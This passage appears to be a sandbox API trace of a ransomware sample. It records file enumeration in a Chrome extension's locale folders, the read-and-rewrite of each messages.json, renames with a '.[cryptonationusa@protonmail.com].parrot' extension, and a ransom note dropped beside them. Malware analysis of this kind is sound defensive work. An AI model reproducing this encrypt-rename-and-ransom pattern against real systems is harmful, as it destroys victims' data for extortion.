HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0058.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0058.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0058.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0058.893] WriteFile (in: hFile=0x280, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0058.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0058.893] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x201, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0058.893] CloseHandle (hObject=0x280) returned 1 [0058.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0248 [0058.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0380 [0058.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0058.895] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0058.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0380 | out: hHeap=0x5b0000) returned 1 [0058.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c030 | out: hHeap=0x5b0000) returned 1 [0058.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0058.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9310 [0058.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9438 [0058.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0058.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0058.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0058.930] GetFileType (hFile=0x280) returned 0x1 [0058.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0058.941] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0058.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69c030 [0058.941] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1ce6b00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1ce6b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1d0cc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0058.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0058.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0058.941] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0058.941] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1ce6b00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1ce6b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1d0cc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0058.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0058.941] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0058.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0058.941] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0058.941] lstrcmpW (lpString1="ms", lpString2=".") returned 1 [0058.941] lstrcmpW (lpString1="ms", lpString2="..") returned 1 [0058.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0058.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d90e8 [0058.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0058.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0058.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0058.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9288 [0058.942] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0058.942] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.942] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.942] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.942] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.942] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0058.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0058.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0058.942] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0058.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0058.942] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xd2 [0058.943] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0058.943] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0058.943] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0058.943] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.944] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd2, lpOverlapped=0x0) returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0058.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0058.944] GetLastError () returned 0x0 [0058.944] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0058.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0058.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0058.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0058.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0058.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0058.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0228 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0058.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0370 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0058.945] WriteFile (in: hFile=0x280, lpBuffer=0x5d0370*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0370*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0058.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x5b0000) returned 1 [0058.945] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0058.945] CloseHandle (hObject=0x280) returned 1 [0058.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0228 [0058.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0360 [0058.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0058.946] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0058.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0360 | out: hHeap=0x5b0000) returned 1 [0058.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c1b8 | out: hHeap=0x5b0000) returned 1 [0058.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0058.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d94a0 [0058.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95c8 [0058.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0058.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0058.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0058.948] GetFileType (hFile=0x280) returned 0x1 [0058.948] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0059.077] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69c1b8 [0059.077] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1d0cc60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1d0cc60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1e3d760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0059.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0059.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.077] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0059.077] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1d0cc60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1d0cc60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1e3d760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0059.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d94a0 | out: hHeap=0x5b0000) returned 1 [0059.078] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0059.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0059.078] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0059.078] lstrcmpW (lpString1="nl", lpString2=".") returned 1 [0059.078] lstrcmpW (lpString1="nl", lpString2="..") returned 1 [0059.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0059.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0059.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0059.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0059.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d90f8 [0059.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0059.130] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.130] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.130] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.130] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.130] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0059.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0059.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0059.131] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 